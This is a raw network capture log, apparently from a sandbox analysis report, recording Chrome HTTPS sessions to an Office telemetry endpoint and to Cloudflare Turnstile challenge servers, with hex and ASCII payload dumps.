2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 56 78 74 58 4b 32 6d 4b 52 35 74 6f 53 53 73 58 69 79 76 36 4b 7a 74 6f 35 38 6f 5a 47 69 74 62 32 32 70 49 54 47 6e 4b 58 44 73 72 4b 63 77 38 71 72 79 63 4f 34 75 36 53 39 32 61 76 65 74 64 61 2f 31 35 33 57 33 39 6d 35 70 4c 6a 67 74 37 37 42 33 61 72 69 38 73 6e 76 30 4c 66 56 7a 4e 4c 70 79 73 62 38 38 66 6e 35 42 4d 50 65 39 76 30 45 77 63 62 42 76 65 7a 35 37 64 77 46 32 63 6e 6d 37 65 4d 59 35 78 51 4d 2b 67 55 47 37 52 6a 72 43 76 55 52 34 67 49 59 4a 2b 59 47 48 66 54 71 43 67 73 4a 37 67 34 50 49 2f 49 53 46 41 48 32 46 68 67 56 2b 68 6f 63 4c 2f 34 65 49 45 4d 44 49 69 55 52 42 79 59 70 4f 77 73 71 4c 55 38 50 4c 6a 49 64 45 7a 49 32 4d 52 63 32 4f 6b 73 62 4f 6a 35 66 48 7a 35 44 4f 6a 35 56 50 32 46 6c 49 57 6c 4b 4b 6a 68 69 4b 55 35 41 55 Data Ascii: VxtXK2mKR5toSSsXiyv6Kzto58oZGitb22pITGnKXDsrKcw8qrycO4u6S92avetda/153W39m5pLjgt77B3ari8snv0LfVzNLpysb88fn5BMPe9v0EwcbBvez57dwF2cnm7eMY5xQM+gUG7RjrCvUR4gIYJ+YGHfTqCgsJ7g4PI/ISFAH2FhgV+hocL/4eIEMDIiURByYpOwsqLU8PLjIdEzI2MRc2OksbOj5fHz5DOj5VP2FlIWlKKjhiKU5AU
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 33 68 59 79 53 69 49 32 55 66 63 4b 4e 6d 36 53 69 6d 5a 61 56 65 34 69 6e 70 63 79 6f 72 71 36 67 72 73 2b 78 78 61 71 72 79 38 4f 34 71 73 58 62 32 61 76 4a 76 72 32 32 72 72 44 6c 78 4e 6d 38 36 63 6a 65 72 63 44 41 76 76 47 6f 30 73 48 69 38 4d 33 68 35 4e 72 6e 31 64 44 62 32 2f 32 7a 2f 74 49 43 74 39 37 53 31 39 76 47 77 38 4c 71 33 73 77 4e 41 78 4c 77 42 75 67 57 39 41 76 5a 37 4f 7a 71 48 74 54 2b 37 51 38 64 2b 51 34 52 42 78 4c 6f 38 66 6e 39 41 2f 6a 39 42 65 30 7a 2f 51 7a 78 4e 77 48 70 4c 78 45 59 47 53 66 37 39 68 73 78 45 6b 4d 64 52 43 59 78 53 52 4d 42 4a 45 67 66 47 55 34 74 50 79 56 53 4d 55 59 70 56 6a 56 4c 47 69 30 74 4b 31 34 56 50 79 35 50 58 54 70 4f 55 55 64 53 5a 68 78 4c 61 43 52 63 58 32 78 4f 59 53 70 4e 62 46 4e 55 65 54 Data Ascii: 3hYySiI2UfcKNm6SimZaVe4inpcyorq6grs+xxaqry8O4qsXb2avJvr22rrDlxNm86cjercDAvvGo0sHi8M3h5Nrn1dDb2/2z/tICt97S19vGw8Lq3swNAxLwBugW9AvZ7OzqHtT+7Q8d+Q4RBxLo8fn9A/j9Be0z/QzxNwHpLxEYGSf79hsxEkMdRCYxSRMBJEgfGU4tPyVSMUYpVjVLGi0tK14VPy5PXTpOUUdSZhxLaCRcX2xOYSpNbFNUeT
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 74 62 75 5a 6a 61 47 32 74 36 57 64 77 5a 75 49 76 63 4b 6f 6a 35 79 64 71 73 4f 51 74 6f 79 77 73 37 44 47 6d 4e 48 58 74 61 6d 39 30 74 50 42 75 64 33 48 7a 39 6e 65 78 4b 75 34 75 63 62 65 34 61 37 76 7a 4d 2f 4d 34 72 54 74 38 39 48 45 33 4e 66 61 36 50 6e 50 36 73 4c 63 32 65 48 67 35 64 7a 33 39 4d 66 57 31 76 33 70 35 50 50 6b 30 51 34 54 36 68 59 55 42 42 67 61 45 50 6e 35 2b 67 34 62 48 52 54 6b 48 78 49 4a 42 52 30 48 2b 66 67 59 41 68 49 69 4c 77 63 79 4d 42 41 6e 46 42 4c 35 47 42 4d 34 4e 6a 67 54 2f 66 67 4f 51 30 49 46 45 69 49 66 47 43 68 49 44 6b 77 2b 48 52 77 63 49 46 42 49 54 46 42 52 46 56 63 4f 58 46 6f 63 49 45 34 61 55 32 4d 36 59 45 4a 58 52 6a 35 42 58 57 45 71 49 57 55 2f 4d 6b 64 68 59 6b 49 77 5a 6e 5a 30 56 6c 5a 58 61 6e 64 Data Ascii: tbuZjaG2t6WdwZuIvcKoj5ydqsOQtoyws7DGmNHXtam90tPBud3Hz9nexKu4ucbe4a7vzM/M4rTt89HE3Nfa6PnP6sLc2eHg5dz39MfW1v3p5PPk0Q4T6hYUBBgaEPn5+g4bHRTkHxIJBR0H+fgYAhIiLwcyMBAnFBL5GBM4NjgT/fgOQ0IFEiIfGChIDkw+HRwcIFBITFBRFVcOXFocIE4aU2M6YEJXRj5BXWEqIWU/MkdhYkIwZnZ0VlZXand
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 70 62 49 78 5a 4f 36 6f 71 61 69 71 36 58 4c 79 63 65 6d 6b 4e 4b 4a 31 36 65 6e 73 4b 66 63 74 70 7a 67 31 35 33 63 32 61 53 35 73 61 62 6a 75 37 65 6a 79 73 69 74 71 62 76 66 30 37 2f 30 39 63 50 7a 36 2b 2f 7a 39 4c 6a 36 73 51 44 39 76 38 50 78 76 66 59 48 33 51 54 6c 2b 75 6e 68 77 4f 37 38 79 78 4c 6f 43 2b 6a 55 34 38 38 4d 45 42 51 56 32 41 7a 78 32 39 6b 41 41 43 58 30 2b 66 50 66 48 43 41 67 4a 65 67 63 41 75 73 41 2f 75 38 42 4e 51 2f 77 4f 53 34 62 4e 53 33 37 2f 41 77 68 48 76 6b 62 45 68 46 41 47 6a 55 36 52 7a 6c 4c 53 43 4a 4d 54 30 51 75 4c 54 49 70 52 45 6b 54 49 31 6c 4f 4e 6a 46 41 4d 52 35 61 58 7a 64 69 59 46 42 6b 5a 6c 78 47 53 6b 63 37 58 6a 77 6f 5a 47 68 73 62 54 46 6b 53 6a 52 49 52 7a 68 4a 66 56 63 35 67 58 5a 6a 66 58 56 45 Data Ascii: pbIxZO6oqaiq6XLycemkNKJ16ensKfctpzg153c2aS5sabju7ejysitqbvf07/09cPz6+/z9Lj6sQD9v8PxvfYH3QTl+unhwO78yxLoC+jU488MEBQV2Azx29kAACX0+fPfHCAgJegcAusA/u8BNQ/wOS4bNS37/AwhHvkbEhFAGjU6RzlLSCJMT0QuLTIpREkTI1lONjFAMR5aXzdiYFBkZlxGSkc7XjwoZGhsbTFkSjRIRzhJfVc5gXZjfXVE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50127	52.108.9.12	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:49 UTC	796	OUT	POST /suite/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 708 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PUS11-ARRAffinity=10bd8af04c8343026a510214a1dab485a6c47e3c6c1c8f53480acbb2c880b54b
2024-10-25 08:19:49 UTC	708	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 35 36 38 39 31 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 33 32 36 38 36 31 2c 22 54 22 3a 31 35 37 35 33 2c 22 4d 22 3a 22 46 65 74 63 68 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 69 6e 20 4d 53 49 54 20 77 69 74 68 20 65 78 70 6f 73 75 72 65 20 31 30 20 77 69 74 68 20 72 65 6d 61 69 6e 69 6e 67 20 72 65 74 72 79 20 63 6f 75 6e 74 20 31 2e 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 33 32 36 38 36 30 2c 22 54 22 3a 31 35 37 38 32 2c 22 4d 22 3a 22 50 61 72 73 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 Data Ascii: {"T":1729844356891,"L":[{"G":507326861,"T":15753,"M":"Fetching manifest from CDN was successful for OneNote in MSIT with exposure 10 with remaining retry count 1.","C":3027,"D":50},{"G":507326860,"T":15782,"M":"Parsing manifest from CDN was successful for
2024-10-25 08:19:49 UTC	4534	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS6-ARRAffinity=e3e3f8e5117aaa7e10c888944e2cb8dfbefa412f5a5742a387712ea12f0d7906;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned; httponly X-CorrelationId: e9746123-a416-40f1-be22-36340ed3e656 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF0000F60D X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00013716 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 44628C0266624D3FA9E25805C58CB7C0 Ref B: DFW311000108053 Ref C: 2024-10-25T08:19:49Z Date: Fri, 25 Oct 2024 08:19:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50128	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:50 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/288705193:1729840334:sRaDFh_5wkaOFbDBegsq3qEaLLwQYyThGHzWC0p4_to/8d80c89969212cc4/sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:50 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:19:50 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: H0TkmjSeREr+O825xbmkXqPxX7wqcoB2ZcM=$6xAHYS/ML5S5qk6a Server: cloudflare CF-RAY: 8d80c8ae7b3ae591-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:50 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50129	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:50 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c89969212cc4/1729844388924/rSvfPn8XhGh_Nsi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:50 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:50 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c8af9da66b14-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4e 00 00 00 35 08 02 00 00 00 60 2d 4a 48 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRN5`-JHIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50131	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:51 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c89969212cc4/1729844388924/rSvfPn8XhGh_Nsi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:51 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:51 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c8b4faed2cbd-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:51 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4e 00 00 00 35 08 02 00 00 00 60 2d 4a 48 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRN5`-JHIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50132	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:51 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8d80c89969212cc4/1729844388929/5eadf65b7d473da6d458a8220ab69f9d3a7ee284b0248a8c799226ec83abc5f1/bVBT0grcB4evuz1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:51 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 25 Oct 2024 08:19:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-25 08:19:51 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 58 71 33 32 57 33 31 48 50 61 62 55 57 4b 67 69 43 72 61 66 6e 54 70 2d 34 6f 53 77 4a 49 71 4d 65 5a 49 6d 37 49 4f 72 78 66 45 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gXq32W31HPabUWKgiCrafnTp-4oSwJIqMeZIm7IOrxfEAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-25 08:19:51 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50134	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:52 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/288705193:1729840334:sRaDFh_5wkaOFbDBegsq3qEaLLwQYyThGHzWC0p4_to/8d80c89969212cc4/sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31504 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:52 UTC	16384	OUT	Data Raw: 76 5f 38 64 38 30 63 38 39 39 36 39 32 31 32 63 63 34 3d 76 36 54 44 55 64 70 59 66 35 54 70 36 61 65 58 4a 70 55 57 79 6f 35 57 52 57 50 57 39 32 35 4b 70 5a 49 57 4a 32 70 35 70 75 52 57 2d 31 50 59 57 78 57 54 31 61 35 57 30 57 67 32 6f 36 69 32 57 45 35 57 61 59 57 25 32 62 44 67 43 6e 2b 57 77 31 64 53 44 48 56 57 57 2d 77 4a 78 57 58 2b 53 39 32 44 58 53 57 2b 31 64 69 57 65 32 33 32 31 57 76 73 65 64 57 51 44 35 35 57 59 38 63 2d 32 79 54 57 6f 66 57 4e 52 66 79 31 70 6b 72 72 57 57 2b 65 57 58 45 54 61 7a 4a 57 50 75 45 4e 57 34 33 70 6a 50 38 37 44 31 57 74 44 32 57 52 46 61 5a 42 43 73 43 37 44 67 45 64 53 47 33 44 56 44 2b 57 4d 75 69 4e 44 57 45 42 44 57 6a 57 54 75 45 37 6c 4f 36 6a 55 68 64 37 66 65 64 5a 2d 65 4f 57 52 68 51 58 4c 72 41 79 Data Ascii: v_8d80c89969212cc4=v6TDUdpYf5Tp6aeXJpUWyo5WRWPW925KpZIWJ2p5puRW-1PYWxWT1a5W0Wg2o6i2WE5WaYW%2bDgCn+Ww1dSDHVWW-wJxWX+S92DXSW+1diWe2321WvsedWQD55WY8c-2yTWofWNRfy1pkrrWW+eWXETazJWPuENW43pjP87D1WtD2WRFaZBCsC7DgEdSG3DVD+WMuiNDWEBDWjWTuE7lO6jUhd7fedZ-eOWRhQXLrAy
2024-10-25 08:19:52 UTC	15120	OUT	Data Raw: 6f 54 70 24 67 32 57 50 57 32 65 50 32 58 53 64 4a 70 37 54 57 72 79 67 76 54 6f 71 41 7a 48 4e 65 58 42 70 35 61 67 57 6f 32 70 55 57 72 4e 78 31 57 72 42 57 31 70 32 57 78 49 52 54 61 66 57 46 57 67 44 6f 65 70 50 33 79 32 70 36 57 56 44 65 32 50 35 57 6c 57 4e 4d 4a 65 57 4f 57 67 31 70 57 70 76 57 30 32 35 2b 70 55 57 79 65 64 4b 57 7a 57 70 31 64 44 70 78 57 4c 31 35 42 57 49 57 79 57 79 62 57 44 57 5a 31 6f 44 57 31 57 41 57 35 31 57 35 57 32 32 64 32 70 74 7a 2b 44 64 4a 57 6b 57 33 31 64 32 58 33 57 61 66 58 66 57 37 57 34 66 57 31 58 47 31 35 57 70 62 70 58 66 50 57 79 65 57 76 57 45 77 62 54 64 55 57 72 57 70 31 70 4a 57 24 31 35 59 70 72 57 78 32 6f 74 57 58 57 67 31 58 48 41 6b 44 72 70 62 62 70 59 75 45 31 6f 48 41 41 46 45 32 58 50 38 76 68 Data Ascii: oTp$g2WPW2eP2XSdJp7TWrygvToqAzHNeXBp5agWo2pUWrNx1WrBW1p2WxIRTafWFWgDoepP3y2p6WVDe2P5WlWNMJeWOWg1pWpvW025+pUWyedKWzWp1dDpxWL15BWIWyWybWDWZ1oDW1WAW51W5W22d2ptz+DdJWkW31d2X3WafXfW7W4fW1XG15WpbpXfPWyeWvWEwbTdUWrWp1pJW$15YprWx2otWXWg1XHAkDrpbbpYuE1oHAAFE2XP8vh
2024-10-25 08:19:53 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26296 Connection: close cf-chl-gen: Be71KDUWq2IiZ3JtmssUGWlvHyExbCCcnvzshFQ20B5gNVq1YnWF8oiBZ4sE0/yfshjrWAHTaZTWrSBq$Ui+FGkG+khyF66xO Server: cloudflare CF-RAY: 8d80c8bf3be8e942-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:53 UTC	1039	IN	Data Raw: 66 4a 47 33 74 61 2b 49 6b 34 66 47 69 6f 61 4a 68 71 53 77 69 4d 36 73 31 4c 4b 6c 6f 64 53 32 71 61 57 55 7a 62 79 71 75 64 57 31 76 37 48 59 78 4d 4b 66 34 4c 58 45 32 71 43 33 70 75 2f 4c 77 36 7a 52 37 61 6e 51 31 4c 58 46 36 74 43 37 78 2f 37 7a 32 39 44 33 34 51 50 50 33 66 4c 37 78 77 66 37 35 39 7a 74 37 51 37 54 45 2f 44 53 34 67 6a 6c 2b 66 6a 32 32 78 7a 62 44 2b 6e 74 4a 66 33 78 44 77 55 44 35 78 72 32 42 52 38 66 4d 44 44 39 46 42 45 50 4d 41 66 70 4a 79 38 79 38 53 73 52 2b 77 6b 4a 4f 42 51 51 48 6b 55 6b 47 2f 34 45 53 41 6f 35 51 43 4e 52 4a 53 77 2f 4e 55 6b 31 55 43 77 69 4a 6b 52 4f 55 6c 5a 58 47 31 78 57 55 52 78 46 48 52 39 59 4a 57 70 61 59 7a 35 61 54 57 5a 62 5a 6c 35 70 62 57 5a 32 52 6a 56 4c 4e 33 52 35 55 57 42 36 53 6e 41 Data Ascii: fJG3ta+Ik4fGioaJhqSwiM6s1LKlodS2qaWUzbyqudW1v7HYxMKf4LXE2qC3pu/Lw6zR7anQ1LXF6tC7x/7z29D34QPP3fL7xwf759zt7Q7TE/DS4gjl+fj22xzbD+ntJf3xDwUD5xr2BR8fMDD9FBEPMAfpJy8y8SsR+wkJOBQQHkUkG/4ESAo5QCNRJSw/NUk1UCwiJkROUlZXG1xWURxFHR9YJWpaYz5aTWZbZl5pbWZ2RjVLN3R5UWB6SnA
2024-10-25 08:19:53 UTC	1369	IN	Data Raw: 47 73 73 4b 4c 73 36 62 57 79 73 69 6f 79 38 61 77 31 71 71 67 75 39 53 30 34 4f 48 66 79 4c 54 53 32 74 6d 72 79 73 36 35 72 38 37 53 7a 62 50 53 31 75 65 33 31 74 72 37 75 39 72 66 31 74 72 78 32 2f 30 43 76 51 62 6d 78 74 54 2b 78 65 72 63 2b 73 62 61 45 68 51 43 46 42 63 44 45 68 66 51 35 4e 72 56 38 51 41 50 37 42 34 41 2f 65 50 79 37 79 51 49 33 2b 6a 71 49 79 63 6e 35 6a 41 4e 4a 42 55 42 48 79 63 6d 39 78 63 62 50 50 73 62 49 42 63 62 4d 68 77 2b 51 76 31 47 4a 77 63 56 50 77 59 72 48 55 30 4c 48 46 49 65 51 6c 52 58 51 31 4a 58 45 54 46 57 57 31 30 74 4b 7a 39 68 46 54 55 68 57 6c 41 2f 57 47 46 55 4f 57 34 70 5a 47 52 53 62 53 55 2f 4c 57 70 57 53 58 4d 34 65 44 4a 4b 61 7a 6c 4e 51 44 73 2f 55 6e 69 42 63 47 6d 44 53 46 5a 69 62 57 56 6d 66 31 Data Ascii: GssKLs6bWysioy8aw1qqgu9S04OHfyLTS2tmrys65r87SzbPS1ue31tr7u9rf1trx2/0CvQbmxtT+xerc+sbaEhQCFBcDEhfQ5NrV8QAP7B4A/ePy7yQI3+jqIycn5jANJBUBHycm9xcbPPsbIBcbMhw+Qv1GJwcVPwYrHU0LHFIeQlRXQ1JXETFWW10tKz9hFTUhWlA/WGFUOW4pZGRSbSU/LWpWSXM4eDJKazlNQDs/UniBcGmDSFZibWVmf1
